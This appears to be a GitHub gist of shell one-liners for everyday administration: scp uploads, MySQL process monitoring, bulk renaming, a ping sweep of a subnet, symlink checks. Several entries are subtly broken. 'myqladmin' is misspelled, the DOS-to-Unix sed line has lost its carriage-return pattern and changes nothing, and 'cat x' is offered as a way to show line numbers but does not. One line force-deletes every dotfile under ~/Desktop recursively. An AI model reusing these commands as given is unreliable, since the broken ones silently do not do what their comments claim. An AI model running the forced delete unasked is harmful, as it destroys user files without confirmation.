# Upload file to remote server using SCP
scp -P 22 /home/svnlabs.txt [email protected]:/home/svnlabs.txt
# Search for all files that begin with . and delete them.
find ~/Desktop/ \( -regex '.*/\..*' \) -print -exec rm -Rf {} \;
# Monitor server load as well as running MySQL processes
watch -n 1 uptime\;myqladmin --user=<user> --password=<password> --verbose processlist
# Kill any process with one command using program name
ps -ef | grep [j]boss | awk '{print $2}'|xargs kill -9
# Find only *.doc and *xls files on Windows partition
find Documents\ and\ Settings -iregex .+\.doc -or -iregex .+\.xls > office.lst
# Show All Symbolic (Soft) Links
ls -l | grep ^l
# Create a directory and cd into it
Dir=dirname; mkdir $Dir && cd $Dir
# Numerate files, rename files in a directory by incremental number
declare -i i=0 ; for file in * ; do i=$[$i+1] ; mv "$file" $i; done
# find all active ip?s in a subnet
FOR /L %i IN (1,1,254) DO ping -n 1 10.254.254.%i | FIND /i "Reply">> c:\ipaddresses.txt
# remove comment '#' in conf files.
grep -v ^# file.conf | grep -v ^$ > new_file.conf
# convert DOS newlines to unix newlines
sed 's/$//'
# Show line numbers in a text file
cat x
# Find broken symlinks
find . -type l | xargs file | grep broken
# Find out which version of linux you are running
cat /etc/*issue
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment